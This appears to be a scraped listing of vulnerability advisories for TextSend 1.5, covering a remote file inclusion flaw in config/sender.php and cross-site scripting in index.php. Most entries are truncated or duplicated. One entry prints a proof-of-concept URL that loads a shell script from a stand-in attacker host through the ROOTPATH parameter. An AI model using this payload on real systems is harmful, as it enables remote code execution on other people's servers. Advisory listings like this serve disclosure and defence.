EUVD-2006-6678

Malware in sbrugna...

EUVD-2006-6669

Malware in sbrugna...

TextSend <= 1.5 (config/sender.php) Remote File Include Vulnerability

No description provided by source. +------------------------------------------------------------------------------------------- + TextSend = 1.5 config/sender.php Remote File Include Vulnerability +------------------------------------------------------------------------------------------- + Vendo...

TextSend &lt;= 1.5 (config/sender.php) Remote File Include Vulnerability

No description provided by source. +------------------------------------------------------------------------------------------- + TextSend = 1.5 config/sender.php Remote File Include Vulnerability +------------------------------------------------------------------------------------------- + Vendo...

CVE-2006-6695

CVE-2006-6695 : XSS in Carsen Klock TextSend 1.5, affected via index.php, vulnerable parameters (1) error and (2) success. This allows remote attackers to inject arbitrary script/HTML. According to NVD, base CVSS v2 score is 6.8 (Medium) with network attack vector, no authentication, and partial ...

CVE-2006-6686

CVE-2006-6686: PHP remote file inclusion in Carsen Klock TextSend 1.5 (sender.php) allows arbitrary PHP code execution via ROOT_PATH URL input. Affected component: TextSend 1.5; root cause is improper handling of ROOT_PATH enabling inclusion of a remote file. Impact per source: partial confidenti...

CVE-2006-6695: Undefined Security Weakness

Multiple cross-site scripting XSS vulnerabilities in index.php in Carsen Klock TextSend 1.5 allow remote attackers to inject arbitrary web script or HTML via the 1 error or 2 success parameter. NOTE: The provenance of this information is unknown; the details are obtained solely from third party...

CVE-2006-6686: Undefined Security Weakness

PHP remote file inclusion vulnerability in sender.php in Carsen Klock TextSend 1.5 allows remote attackers to execute arbitrary PHP code via a URL in the ROOTPATH parameter...

TextSend &lt;= 1.5 &#40;config/sender.php&#41; Remote File Include Vulnerability

+------------------------------------------------------------------------------------------- + TextSend = 1.5 config/sender.php Remote File Include Vulnerability +------------------------------------------------------------------------------------------- + Vendor ............:...

TextSend <= 1.5 (config/sender.php) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ===================================================================== TextSend include "$ROOTPATH/config.php"; + + Proof Of Concept: + http://target/path/config/sender.php?ROOTPATH=http://evilsite.com/shell.php?...

TextSend 1.5 - configsender.php Remote File Inclusion

TextSend 1.5 - configsender.php Remote File Inclusion +------------------------------------------------------------------------------------------- + TextSend +------------------------------------------------------------------------------------------- + Details: + TextSend config/sender.php does n...

TextSend 1.5 - '/config/sender.php' Remote File Inclusion

+------------------------------------------------------------------------------------------- + TextSend +------------------------------------------------------------------------------------------- + Details: + TextSend config/sender.php does not initialize the $ROOTPATH variable before using it t...